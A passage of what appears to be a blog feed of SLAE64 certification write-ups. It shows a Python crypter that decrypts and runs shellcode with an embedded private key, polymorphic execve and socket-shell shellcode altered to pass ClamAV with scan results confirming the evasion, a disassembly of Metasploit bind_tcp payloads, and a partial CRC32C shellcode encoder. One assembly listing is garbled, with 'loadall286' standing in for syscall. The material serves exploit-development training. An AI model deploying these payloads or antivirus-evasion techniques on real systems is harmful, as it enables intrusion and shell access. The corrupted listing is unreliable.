<span class="s2">fwvlaDy15fwUGdkM6rDsMKAwiMSSWQ9VW3Z7rLSQAPhO1hR3/pMEuMs/vac0S1AG</span>
<span class="s2">SUNfz/J23dfBJxtKdtrjg/CgylETscnX8E3W8kcb50zYWtwSw+lNaXoVVn65qDDY</span>
<span class="s2">xfMe3g1+jSNF9SN5dg8UOOW9oG/xbUkovlCYpABnZgECgYEA/G9QLO8oC6G8OJM3</span>
<span class="s2">t/2+SNlhYEixW0wpOLxyFAui9XWDEae5P9scWpUYGdS9kgwTtYobE92WhiWrOb6W</span>
<span class="s2">35a8LM1nvgOQO4dWJ9q749VKKpmKzFwT4eelSaXzQH4aw6O+ttkWqvaglUoF5gjV</span>
<span class="s2">5oIUZFFd1QM98bysHbvpiMFbUaECgYEA5vpwocUenkfJguCSmeeir+K0MbhNcyV5</span>
<span class="s2">9MTXs3KYv7d9hKZgZRsmKKDge8nwaCzdVzdQQZgQhxYRM0R6W35QOGYYuQOM1vph</span>
<span class="s2">XgX2JX2BD8d21/2PilrPLiBZ/x1kRephR1BqI3QX4GxEXeRf9A3K+dDBIRTLDckn</span>
<span class="s2">JLdKEqoV41kCgYA2qCtl70pualCEt2uDDQ/cWiT5YgP0zqLGRBc3O+XG2/DLK9Oy</span>
<span class="s2">fdC/1DRps2RwcOj7j7GZNYtX9GQElr24H70Svk7OF5ttKDqBWp0AEbiDTMd+xBkR</span>
<span class="s2">+sQRFDt9JVDKN3QdxxdfYRMX//US/6rAxD2CExQMAS2yX7WsonlIQQVywQKBgHtG</span>
<span class="s2">uwp8DIVpxxFFDrl5uYiqNIY82YlVPSv4Sy+JQCFCq4k6y0PrI4iXpHgtJVRUbaX4</span>
<span class="s2">7aq0oE2Y54E3UR634dTYGOXWETtD0ue9wsvrmhBz4ugQeqXbJax2s9HHPBdcqqLH</span>
<span class="s2">Nn7JnVy4LBz4oIW/Ps/qLMmdMWqgK3YbJTuk752xAoGABkSRTEfy6KtN4o4iAA6s</span>
<span class="s2">yZfzW98/goxCnjORaChrl4guvqmOsvJpfqqIiBKVJ5ITwSw9xcr/M99qWAfC2MpX</span>
<span class="s2">pDR9B3bgmJ+dMhCiCnLU9n7Rzz9tuMCtxXVwzl/0rMCHGh311OEyaMyfZNNPIFmg</span>
<span class="s2">sjhmgtz7iUSwPcWt3gIiMJE=</span>
<span class="s2">-----END PRIVATE KEY-----</span>
<span class="s2">"""</span>
<span class="n">ciphertext</span><span class="o">=</span><span class="s2">"tGfscW1SL2tEvjlGeA+kq+DjGxb8/xOIxMjp/ZgOnOfHtsxPf11FRIH6ww8xIaQRXzgjDeQURTvESWiTVr5/apINXS+NnN8PzSuOt2baBpsqoB70DWKGNTOjB</span>
<span class="n">T5j2RP</span><span class="o">/</span><span class="n">kN2E</span><span class="o">/</span><span class="n">xTJ7aclDyqsv6KuOcnmP3yGbFPd4KSGUvWD</span><span class="o">/</span><span class="mi">67</span><span class="n">g1s8AhOrMrX</span><span class="o">/</span><span class="mi">6</span><span class="n">Km73QF4</span><span class="o">/</span><span class="mi">5</span><span class="n">wBCmj1VoPcA</span><span class="o">/+</span><span class="n">c</span><span class="o">+</span><span class="n">gSoyPMGPw96RG0RDAnQTy</span><span class="o">/</span><span class="mi">7</span><span class="n">Ql9CbJ</span><span class="o">+</span><span class="n">ubtvxqVK5K1cHHg5</span>
<span class="n">GZG7g</span><span class="o">+</span><span class="mi">4</span><span class="n">u</span><span class="o">/</span><span class="n">BhcFK5UpJxZU786NbV5ARdTI8VZICJrV</span><span class="o">+</span><span class="n">oe8DFG1HlO9Q76o2hdzgrxsDAA</span><span class="o">+</span><span class="n">ZZHPv5j62OnedQtKTTg</span><span class="o">==</span><span class="s2">"</span>
<span class="n">private_key</span> <span class="o">=</span> <span class="n">serialization</span><span class="o">.</span><span class="n">load_pem_private_key</span><span class="p">(</span>
<span class="n">private_key</span><span class="p">,</span>
<span class="n">password</span><span class="o">=</span><span class="kc">None</span><span class="p">,</span>
<span class="n">backend</span><span class="o">=</span><span class="n">default_backend</span><span class="p">()</span>
<span class="p">)</span>
<span class="n">shellcode</span> <span class="o">=</span> <span class="n">private_key</span><span class="o">.</span><span class="n">decrypt</span><span class="p">(</span>
<span class="n">ciphertext</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s2">"base64"</span><span class="p">),</span>
<span class="n">padding</span><span class="o">.</span><span class="n">OAEP</span><span class="p">(</span>
<span class="n">mgf</span><span class="o">=</span><span class="n">padding</span><span class="o">.</span><span class="n">MGF1</span><span class="p">(</span><span class="n">algorithm</span><span class="o">=</span><span class="n">hashes</span><span class="o">.</span><span class="n">SHA256</span><span class="p">()),</span>
<span class="n">algorithm</span><span class="o">=</span><span class="n">hashes</span><span class="o">.</span><span class="n">SHA256</span><span class="p">(),</span>
<span class="n">label</span><span class="o">=</span><span class="kc">None</span>
<span class="p">)</span>
<span class="p">)</span>
<span class="n">create_shellcode_function</span><span class="p">(</span><span class="n">shellcode</span><span class="p">)()</span>
</code></pre></div></td></tr></table></div>
<p>This blog post has (not) been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:</p>
<p>Student ID: SLAE64-XXXXX</p>SLAE64 #6 - Polymorphic shellcode2019-05-25T20:05:00+08:002019-05-25T20:05:00+08:00Benjamin Limtag:limbenjamin.com,2019-05-25:/articles/slae64-6-polymorphic-shellcode.html<p>I have taken shellcode #603 and #859 from shell-storm and created polymorphic version that passed clamav scan. The original version of both shellcodes were detected by clamav scan due to the presence of the <code>/bin/sh</code> string. Breaking up the string caused the modified versions of both shellcodes to pass …</p><p>I have taken shellcode #603 and #859 from shell-storm and created polymorphic version that passed clamav scan. The original version of both shellcodes were detected by clamav scan due to the presence of the <code>/bin/sh</code> string. Breaking up the string caused the modified versions of both shellcodes to pass the detection. The offending original instruction has been commented out and the next 3 lines contain the modified instruction.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span>
<span class="normal">21</span>
<span class="normal">22</span>
<span class="normal">23</span>
<span class="normal">24</span>
<span class="normal">25</span>
<span class="normal">26</span>
<span class="normal">27</span>
<span class="normal">28</span>
<span class="normal">29</span>
<span class="normal">30</span>
<span class="normal">31</span>
<span class="normal">32</span>
<span class="normal">33</span>
<span class="normal">34</span>
<span class="normal">35</span>
<span class="normal">36</span>
<span class="normal">37</span>
<span class="normal">38</span>
<span class="normal">39</span>
<span class="normal">40</span>
<span class="normal">41</span>
<span class="normal">42</span>
<span class="normal">43</span>
<span class="normal">44</span>
<span class="normal">45</span>
<span class="normal">46</span>
<span class="normal">47</span>
<span class="normal">48</span>
<span class="normal">49</span>
<span class="normal">50</span>
<span class="normal">51</span>
<span class="normal">52</span>
<span class="normal">53</span>
<span class="normal">54</span>
<span class="normal">55</span>
<span class="normal">56</span>
<span class="normal">57</span>
<span class="normal">58</span>
<span class="normal">59</span>
<span class="normal">60</span>
<span class="normal">61</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="c1">#603</span>
<span class="w"> </span><span class="k">section</span><span class="w"> </span><span class="nv">.text</span>
<span class="w"> </span><span class="k">global</span><span class="w"> </span><span class="nv">_start</span>
<span class="w"> </span><span class="nl">_start:</span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">rdx</span><span class="p">,</span><span class="w"> </span><span class="nb">rdx</span>
<span class="w"> </span><span class="c1">;mov qword rbx, '//bin/sh'</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">rbx</span><span class="p">,</span><span class="w"> </span><span class="s">'n/sh'</span>
<span class="w"> </span><span class="nf">shl</span><span class="w"> </span><span class="nb">rbx</span><span class="p">,</span><span class="w"> </span><span class="mi">32</span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">rbx</span><span class="p">,</span><span class="w"> </span><span class="s">'//bi'</span>
<span class="w"> </span><span class="nf">shr</span><span class="w"> </span><span class="nb">rbx</span><span class="p">,</span><span class="w"> </span><span class="mh">0x8</span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="nb">rbx</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">rdi</span><span class="p">,</span><span class="w"> </span><span class="nb">rsp</span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="nb">rax</span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="nb">rdi</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">rsi</span><span class="p">,</span><span class="w"> </span><span class="nb">rsp</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">al</span><span class="p">,</span><span class="w"> </span><span class="mh">0x3b</span>
<span class="w"> </span><span class="nf">syscall</span>
<span class="c1">#859</span>
<span class="w"> </span><span class="k">section</span><span class="w"> </span><span class="nv">.text</span>
<span class="w"> </span><span class="k">global</span><span class="w"> </span><span class="nv">_start</span>
<span class="w"> </span><span class="nl">_start:</span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">rsi</span><span class="p">,</span><span class="nb">rsi</span>
<span class="w"> </span><span class="nf">mul</span><span class="w"> </span><span class="nb">rsi</span>
<span class="w"> </span><span class="nf">inc</span><span class="w"> </span><span class="nb">esi</span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="kt">byte</span><span class="w"> </span><span class="o">+</span><span class="mh">0x2</span>
<span class="w"> </span><span class="nf">pop</span><span class="w"> </span><span class="nb">rdi</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">al</span><span class="p">,</span><span class="mh">0x29</span>
<span class="w"> </span><span class="nf">loadall286</span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="nb">rdx</span>
<span class="w"> </span><span class="nf">pop</span><span class="w"> </span><span class="nb">rsi</span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="nb">rax</span>
<span class="w"> </span><span class="nf">pop</span><span class="w"> </span><span class="nb">rdi</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">al</span><span class="p">,</span><span class="mh">0x32</span>
<span class="w"> </span><span class="nf">loadall286</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">al</span><span class="p">,</span><span class="mh">0x2b</span>
<span class="w"> </span><span class="nf">loadall286</span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="nb">rdi</span>
<span class="w"> </span><span class="nf">pop</span><span class="w"> </span><span class="nb">rsi</span>
<span class="w"> </span><span class="nf">xchg</span><span class="w"> </span><span class="nb">rax</span><span class="p">,</span><span class="nb">rdi</span>
<span class="w"> </span><span class="nl">dup2:</span>
<span class="w"> </span><span class="nf">dec</span><span class="w"> </span><span class="nb">esi</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">al</span><span class="p">,</span><span class="mh">0x21</span>
<span class="w"> </span><span class="nf">loadall286</span>
<span class="w"> </span><span class="nf">jnz</span><span class="w"> </span><span class="nv">dup2</span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="nb">rdx</span>
<span class="w"> </span><span class="c1">;mov rdi,0x68732f6e69622f2f</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">rdi</span><span class="p">,</span><span class="w"> </span><span class="mh">0x68732f6e</span>
<span class="w"> </span><span class="nf">shl</span><span class="w"> </span><span class="nb">rdi</span><span class="p">,</span><span class="w"> </span><span class="mi">32</span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">rdi</span><span class="p">,</span><span class="w"> </span><span class="mh">0x69622f2f</span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="nb">rdi</span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="nb">rsp</span>
<span class="w"> </span><span class="nf">pop</span><span class="w"> </span><span class="nb">rdi</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">al</span><span class="p">,</span><span class="mh">0x3b</span>
<span class="w"> </span><span class="nf">loadall286</span>
</code></pre></div></td></tr></table></div>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span></pre></div></td><td class="code"><div><pre><span></span><code>Scanning shell_storm_603
shell_storm_603: Unix.Tool.13691-1 FOUND
Scanning shell_storm_603_mod
shell_storm_603_mod: OK
Scanning shell_storm_859
shell_storm_859: Unix.Trojan.MSShellcode-95 FOUND
Scanning shell_storm_859_mod
shell_storm_859_mod: OK
----------- SCAN SUMMARY -----------
Known viruses: 6137425
Engine version: 0.100.3
Scanned directories: 0
Scanned files: 4
Infected files: 2
Data scanned: 0.03 MB
Data read: 0.03 MB (ratio 1.00:1)
Time: 26.258 sec (0 m 26 s)
</code></pre></div></td></tr></table></div>
<p>This blog post has (not) been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:</p>
<p>Student ID: SLAE64-XXXXX</p>SLAE64 #5 - MSF shellcode analysis2019-05-25T17:38:00+08:002019-05-25T17:38:00+08:00Benjamin Limtag:limbenjamin.com,2019-05-25:/articles/slae64-5-msf-shellcode-analysis.html<p>I would be analysing chunks of the <code>linux/x64/meterpreter/bind_tcp</code> and the <code>linux/x64/shell_bind_tcp</code> and see how they differ. Although both are TCP bind shellcode, the primary difference among them is that the meterpreter shellcode is a staged payload while the other is a stageless payload. As such …</p><p>I would be analysing chunks of the <code>linux/x64/meterpreter/bind_tcp</code> and the <code>linux/x64/shell_bind_tcp</code> and see how they differ. Although both are TCP bind shellcode, the primary difference among them is that the meterpreter shellcode is a staged payload while the other is a stageless payload. As such, the meterpreter shellcode expects the server to provide a second stage while the other will immediately return a usable shell.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span>
<span class="normal">21</span>
<span class="normal">22</span>
<span class="normal">23</span>
<span class="normal">24</span>
<span class="normal">25</span>
<span class="normal">26</span>
<span class="normal">27</span>
<span class="normal">28</span>
<span class="normal">29</span>
<span class="normal">30</span>
<span class="normal">31</span>
<span class="normal">32</span>
<span class="normal">33</span>
<span class="normal">34</span>
<span class="normal">35</span>
<span class="normal">36</span>
<span class="normal">37</span>
<span class="normal">38</span>
<span class="normal">39</span>
<span class="normal">40</span>
<span class="normal">41</span>
<span class="normal">42</span>
<span class="normal">43</span>
<span class="normal">44</span>
<span class="normal">45</span>
<span class="normal">46</span>
<span class="normal">47</span>
<span class="normal">48</span>
<span class="normal">49</span>
<span class="normal">50</span>
<span class="normal">51</span>
<span class="normal">52</span>
<span class="normal">53</span>
<span class="normal">54</span>
<span class="normal">55</span>
<span class="normal">56</span>
<span class="normal">57</span>
<span class="normal">58</span>
<span class="normal">59</span>
<span class="normal">60</span>
<span class="normal">61</span>
<span class="normal">62</span>
<span class="normal">63</span>
<span class="normal">64</span>
<span class="normal">65</span>
<span class="normal">66</span>
<span class="normal">67</span>
<span class="normal">68</span>
<span class="normal">69</span>
<span class="normal">70</span>
<span class="normal">71</span>
<span class="normal">72</span></pre></div></td><td class="code"><div><pre><span></span><code>linux/x64/meterpreter/bind_tcp payload
0x400078 xor %rdi,%rdi
0x40007b pushq $0x9
0x40007d pop %rax
0x40007e cltd
0x40007f mov $0x10,%dh
0x400081 mov %rdx,%rsi
0x400084 xor %r9,%r9
0x400087 pushq $0x22
0x400089 pop %r10
0x40008b mov $0x7,%dl
0x40008d syscall
Register values: rax - 0x9, rsi - 0x1000, r10 - 0x22, rdx - 0x1007
sys_mmap call to allocate memory for the second stage payload
0x40008f test %rax,%rax
0x400092 js 0x4000ef
0x400094 pushq $0xa
0x400096 pop %r9
0x400098 push %rsi
0x400099 push %rax
0x40009a pushq $0x29
0x40009c pop %rax
0x40009d cltd
0x40009e pushq $0x2
0x4000a0 pop %rdi
0x4000a1 pushq $0x1
0x4000a3 pop %rsi
0x4000a4 syscall
Register values: rax - 0x29, rcx - 0x40008f, rsi - 0x1, r10 - 0x22, rdi - 0x2, r9 - 0xa, r11 - 0x346
sys_socket call to create a socket to bind to
0x4000a6 test %rax,%rax
0x4000a9 js 0x4000ef
0x4000ab xchg %rax,%rdi
0x4000ad movabs $0x100007fbb010002,%rcx
0x4000b7 push %rcx
0x4000b8 mov %rsp,%rsi
0x4000bb pushq $0x10
0x4000bd pop %rdx
0x4000be pushq $0x2a
0x4000c0 pop %rax
0x4000c1 syscall
Register values: rax - 0x2a, r10 - 0x22, rdx - 0x10, rdi - 0x3, r11 - 0x306
sys_connect call to bind to 127.0.0.1:443
0x100007f - 127.0.0.1
0xbb01 - 443
0x4000c3 test %rax,%rax
0x4000c6 jns 0x4000e3
0x4000c8 dec %r9
0x4000cb je 0x4000ef
0x4000cd pushq $0x23
0x4000cf pop %rax
0x4000d0 pushq $0x0
0x4000d2 pushq $0x5
0x4000d4 mov %rsp,%rdi
0x4000d7 xor %rsi,%rsi
0x4000da syscall
Register values: rax - 0x0, rcx - 0x100007fbb010002, r10 - 0x22, rdx - 0x1000, r9 - 0x9, r11 - 0x306
sys_read to read second stage payload and write to allocated memory address at rcx.
I was not able to proceed further without the correct payload, however I believe the next step would be to jump to second stage
payload for execution.
</code></pre></div></td></tr></table></div>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span>
<span class="normal">21</span>
<span class="normal">22</span>
<span class="normal">23</span>
<span class="normal">24</span>
<span class="normal">25</span>
<span class="normal">26</span>
<span class="normal">27</span>
<span class="normal">28</span>
<span class="normal">29</span>
<span class="normal">30</span>
<span class="normal">31</span>
<span class="normal">32</span>
<span class="normal">33</span>
<span class="normal">34</span>
<span class="normal">35</span>
<span class="normal">36</span>
<span class="normal">37</span>
<span class="normal">38</span>
<span class="normal">39</span>
<span class="normal">40</span>
<span class="normal">41</span>
<span class="normal">42</span>
<span class="normal">43</span>
<span class="normal">44</span>
<span class="normal">45</span>
<span class="normal">46</span>
<span class="normal">47</span>
<span class="normal">48</span>
<span class="normal">49</span>
<span class="normal">50</span>
<span class="normal">51</span>
<span class="normal">52</span>
<span class="normal">53</span>
<span class="normal">54</span>
<span class="normal">55</span>
<span class="normal">56</span>
<span class="normal">57</span>
<span class="normal">58</span></pre></div></td><td class="code"><div><pre><span></span><code>linux/x64/shell_bind_tcp payload
0x400078 pushq $0x29
0x40007a pop %rax
0x40007b cltd
0x40007c pushq $0x2
0x40007e pop %rdi
0x40007f pushq $0x1
0x400081 pop %rsi
0x400082 syscall
Register values: rax - 0x29, rsi - 0x1
sys_socket call to create a socket to bind to
0x400084 xchg %rax,%rdi
0x400086 movabs $0x100007fbb010002,%rcx
0x400090 push %rcx
0x400091 mov %rsp,%rsi
0x400094 pushq $0x10
0x400096 pop %rdx
0x400097 pushq $0x2a
0x400099 pop %rax
0x40009a syscall
Register values: rax - 0x2a, rcx - 0x100007fbb010002, rdx - 0x10, rdi - 0x3, r11 - 0x302
sys_connect call to bind to 127.0.0.1:443
0x100007f - 127.0.0.1
0xbb01 - 443
0x40009c pushq $0x3
0x40009e pop %rsi
0x40009f dec %rsi
0x4000a2 pushq $0x21
0x4000a4 pop %rax
0x4000a5 syscall
0x4000a7 jne 0x40009f
Register values: rax - 0x21, rsi - 0x3 , 1 , 0, rdx - 0x10, rdi - 0x3, r11 - 0x302
sys_dup2 to redirect STDOUT, STDIN, STDERR to socket. JNE will jump 3 times, till rsi = 0x0
0x4000a9 pushq $0x3b
0x4000ab pop %rax
0x4000ac cltd
0x4000ad movabs $0x68732f6e69622f,%rbx
0x4000b7 push %rbx
0x4000b8 mov %rsp,%rdi
0x4000bb push %rdx
0x4000bc push %rdi
0x4000bd mov %rsp,%rsi
0x4000c0 syscall
Register values: rax - 0x3b , rbx - 0x68732f6e69622f
sys_execve call to /bin/sh
0x68732f6e69622f - /bin/sh
</code></pre></div></td></tr></table></div>
<p>This blog post has (not) been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:</p>
<p>Student ID: SLAE64-XXXXX</p>SLAE64 #4 - SSE4.2 CRC32C Encoder2019-05-18T10:33:00+08:002019-05-18T10:33:00+08:00Benjamin Limtag:limbenjamin.com,2019-05-18:/articles/slae64-4-sse42-crc32c-encoder.html<p>I decided to do something special for the custom encoder shellcode. I used the Intel SSE4.2 CRC32C function to encode the shellcode. CRC32 is a hash function, not an encoding function, so in order to make it an encoder, I had to compute the preimage for each possible byte …</p><p>I decided to do something special for the custom encoder shellcode. I used the Intel SSE4.2 CRC32C function to encode the shellcode. CRC32 is a hash function, not an encoding function, so in order to make it an encoder, I had to compute the preimage for each possible byte of the final shellcode and store it into a state table. Since CRC32C has an even distribution, I decided to take the preimage for the 1000 inputs starting from 0x3 to 0x3ea. I will be using the first byte of the output for the encoding.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span></pre></div></td><td class="code"><div><pre><span></span><code>crc32(0x3) = 0x39892262
crc32(0x1a7) = 0x00f7c439
crc32(0x2e9) = 0x00194d4a
crc32(0x34e) = 0x00ee8973
crc32(0x22) = 0x0a374268
crc32(0x185) = 0x0ac08651
crc32(0x2cb) = 0x0a2e0f22
crc32(0x36c) = 0x0ad9cb1b
crc32(0x3ea) = 0x47022e8d
</code></pre></div></td></tr></table></div>
<p>As you can see, the inputs <code>0x1a7, 0x2e9, 0x34e</code> into the CRC function will return an output with the byte <code>0x00</code>, thus these 3 inputs will be used to encode <code>0x00</code>. After parsing the entire table, you will be able to construct a state table for all 255 values which can be used for your encoder. This encoder is polymorphic, each run of the python script will generate different shellcode because the encoder will randomly choose among the 3 to 4 options to encode each byte. Since I used 1000 inputs, the entire input space will fit into 1.5 bytes. Thus, this encoder will use 1.5 times the space of the original shellcode. It will read in 3 bytes and write out 2 bytes of original shellcode during each loop. </p>
<p>Encoder.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span>
<span class="normal">21</span>
<span class="normal">22</span>
<span class="normal">23</span>
<span class="normal">24</span>
<span class="normal">25</span>
<span class="normal">26</span>
<span class="normal">27</span>
<span class="normal">28</span>
<span class="normal">29</span>
<span class="normal">30</span>
<span class="normal">31</span>
<span class="normal">32</span>
<span class="normal">33</span>
<span class="normal">34</span>
<span class="normal">35</span>
<span class="normal">36</span>
<span class="normal">37</span>
<span class="normal">38</span>
<span class="normal">39</span>
<span class="normal">40</span>
<span class="normal">41</span>
<span class="normal">42</span>
<span class="normal">43</span>
<span class="normal">44</span>
<span class="normal">45</span>
<span class="normal">46</span>
<span class="normal">47</span>
<span class="normal">48</span>
<span class="normal">49</span>
<span class="normal">50</span>
<span class="normal">51</span>
<span class="normal">52</span>
<span class="normal">53</span>
<span class="normal">54</span>
<span class="normal">55</span>
<span class="normal">56</span>
<span class="normal">57</span>
<span class="normal">58</span>
<span class="normal">59</span>
<span class="normal">60</span>
<span class="normal">61</span>
<span class="normal">62</span>
<span class="normal">63</span>
<span class="normal">64</span>
<span class="normal">65</span>
<span class="normal">66</span>
<span class="normal">67</span>
<span class="normal">68</span>
<span class="normal">69</span>
<span class="normal">70</span>
<span class="normal">71</span>
<span class="normal">72</span>
<span class="normal">73</span>
<span class="normal">74</span>
<span class="normal">75</span>
<span class="normal">76</span>
<span class="normal">77</span>
<span class="normal">78</span>
<span class="normal">79</span>
<span class="normal">80</span>
<span class="normal">81</span>
<span class="normal">82</span>
<span class="normal">83</span>
<span class="normal">84</span>
<span class="normal">85</span>
<span class="normal">86</span>
<span class="normal">87</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="kn">import</span> <span class="nn">random</span>
<span class="n">shellcode</span> <span class="o">=</span> <span class="p">(</span><span class="s2">"</span><span class="se">\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05</span><span class="s2">"</span><span class="p">)</span>
<span class="n">encoded</span> <span class="o">=</span> <span class="s2">""</span>
<span class="n">substitution_dict</span> <span class="o">=</span> <span class="p">{</span> <span class="s1">'0'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'1a7'</span><span class="p">,</span> <span class="s1">'2e9'</span><span class="p">,</span> <span class="s1">'34e'</span><span class="p">],</span> <span class="s1">'a'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'22'</span><span class="p">,</span> <span class="s1">'185'</span><span class="p">,</span> <span class="s1">'2cb'</span><span class="p">,</span> <span class="s1">'36c'</span><span class="p">],</span> <span class="s1">'b'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'6a'</span><span class="p">,</span> <span class="s1">'1cd'</span><span class="p">,</span> <span class="s1">'283'</span><span class="p">,</span> <span class="s1">'324'</span><span class="p">],</span> <span class="s1">'c'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'a1'</span><span class="p">,</span>
<span class="s1">'106'</span><span class="p">,</span> <span class="s1">'248'</span><span class="p">],</span> <span class="s1">'d'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'e9'</span><span class="p">,</span> <span class="s1">'14e'</span><span class="p">,</span> <span class="s1">'200'</span><span class="p">,</span> <span class="s1">'3a7'</span><span class="p">],</span> <span class="s1">'e'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'31'</span><span class="p">,</span> <span class="s1">'196'</span><span class="p">,</span> <span class="s1">'2d8'</span><span class="p">,</span> <span class="s1">'37f'</span><span class="p">],</span> <span class="s1">'f'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'79'</span><span class="p">,</span> <span class="s1">'1de'</span><span class="p">,</span> <span class="s1">'290'</span><span class="p">,</span> <span class="s1">'337'</span><span class="p">],</span> <span class="s1">'1'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'48'</span><span class="p">,</span>
<span class="s1">'1ef'</span><span class="p">,</span> <span class="s1">'2a1'</span><span class="p">,</span> <span class="s1">'306'</span><span class="p">],</span> <span class="s1">'10'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'57'</span><span class="p">,</span> <span class="s1">'1f0'</span><span class="p">,</span> <span class="s1">'2be'</span><span class="p">,</span> <span class="s1">'319'</span><span class="p">],</span> <span class="s1">'11'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'1f'</span><span class="p">,</span> <span class="s1">'1b8'</span><span class="p">,</span> <span class="s1">'2f6'</span><span class="p">,</span> <span class="s1">'351'</span><span class="p">],</span> <span class="s1">'12'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'c7'</span><span class="p">,</span> <span class="s1">'160'</span><span class="p">,</span> <span class="s1">'22e'</span><span class="p">,</span> <span class="s1">'389'</span><span class="p">],</span>
